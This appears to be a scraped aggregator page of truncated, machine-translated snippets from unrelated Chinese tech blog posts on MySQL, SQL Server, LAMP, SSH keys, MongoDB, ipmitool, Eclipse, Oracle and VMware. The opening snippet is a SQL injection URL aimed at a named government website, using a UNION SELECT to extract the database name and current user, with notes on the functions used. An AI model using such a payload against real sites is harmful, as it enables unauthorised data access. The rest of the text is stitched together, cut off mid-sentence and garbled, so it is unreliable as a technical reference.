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http://www.rqyl.gov.cn/rqxw-d.php?ID=-153%20%20%20union%20select%201,database%28%29,3,4,user%28% 29,6,7,8,9,10,11,12,13,14,15,16,17Database () View databases user () View current user version () View database version number @ @version_compile_os

Write in front: This article only for the IO causes MySQL performance problem localization, other such as CPU, mysql parameter configuration, program itself and other issues need to be further supplemented.Background: A SQL Build Table statement was

Stored Procedure versioning-DDL triggers – reference: Stored procedure version control Http://enjoyasp.net/?p=2431 CREATE TABLE [dbo]. [ChangeLog] ([logid] [int] IDENTITY (null,[databasename) [varchar] (COLLATE sql_latin1_general_cp1_ci_as not null,[

#####################################################################Development DBA: Database Design (e-r diagram), SQL development, built-in functions, storage routines (stored procedures and stored functions), triggers, Event Scheduler (Events

2.1mysql Physical File composition 2.1.1 Log files:1. View MySQL config file: mysql--verbose--help | Grep-a 1 ' Default options ';1, error log:--log-error[=file_name] Specify error log location2, binary log:--log-bin[=file_name] If file_name is not

Make install cleanMake No_checksum=yes Reinstall cleanMake Force_pkg_register=yes Reinstall cleanfamp Architecture 20141115 Lamp architecture has long been famous, so-called lamp architecture refers to the Linux+apache+mysql+PHP (or Python or perl)

SSH login with no password to use the public and private keys. Linux can use Ssh-keygen to generate public/private key pair, below I take CentOS 6.6 as an example.Management machine Extranet IP10.0.0.61 (intranet 172.16.1.61) server external network

What is a MongoDB replica set:A MongoDB replica set is a cluster of replicas consisting of a set of MongoDB servers. The cluster contains a primary master server and several secondary backup servers or Artiber election servers. Secondary

MySQL variables:Server variables:Use parameters to change the MySQL run feature. The directive that is defined in the configuration file.To view server variables:mysql>show [GLOBAL] [SESSION] VARIABLES [like ' STRING '];mysql> SELECT @@ global|

1 out of band management commandsIpmitool LAN Print [0|1|2...| 8]Ipmitool-i lanplus-h $ip-u taobao-p $pwd chassis Bootdev PXE settings next PXE rebootIpmitool-i lanplus-h $ip-u taobao-p $pwd Power Reset RestartIpmitool-i lanplus-h $ip-u taobao-p

Select Window-show View-server in the Eclipse menu bar to see a panel of services, and the services panel can see the configured Tomcat and the items under TomcatDouble-click Tomca to enter the settings screen, and if you see that the various

Eclipse's website address: http://www.eclipse.org/We download the Java version: Eclipse IDE for Java EE developersCurrently the latest version is: Eclipse Kepler (4.3)1. Eclipse IDE for Java EE developers:1, 32-bit:

Because it is the Oracle 11g free version, not installed Oracle client, and then from the Internet to find a free client-side use of PL/SQL tutorial, specifically can see the link, here is no longer a statement; but when you open PL/SQL, the client

The components of Vmware horizon are used to build a virtual desktop environment.The following are prerequisites for installing a VDI environment:AD Domain Services: Installation of the W-5-1 domain serverInstallation of the vcenter:v-4

Many Linux server operating systems do not have a graphical interface, need command-line operation, summarize the commonly used commands:Ifconfig: View server IPPWD: View current directory, ~ Representative home DirectoryCD: Switch directoriesLS:

Transferred from: http://www.cnblogs.com/daimage/archive/2012/02/25/2367534.html1. MySQL WorkbenchMySQL Workbench provides database administrators, program developers, and system planners with visual SQL development, database modeling, and database

Error:1)Change Master results in:Last_io_error:error Connecting to master-retry-time:60 retries2)To stop the slave process without unlocking:> Stop slave;ERROR 1192 (HY000): Can ' t execute the given command because you had active locked tables or

Archiving and compression of Linux:1. Space saving2. Facilitate the management of fragmented documentsTar Integrated Backup tool:-C: Create an archive-X: Release Archive-F: Specify the Archive file name-Z,-j,-j: Call the GZ, bz2, XZ format tools for

The blog content is in the Department of the Organization to discuss the operation of the issue when the PPT content, content vitalize, mainly for the convenience of reviewing their own later.Outline includes: 1, run-time problem Classification 2,

Original: http://www.cnblogs.com/jyan/archive/2012/06/29/2569566.html#3122335Asp. NET is a technique for building dynamic Web applications. It is. NET Framework, you can use any of the. NET-compatible languages to write ASP. Compared to Java, PHP,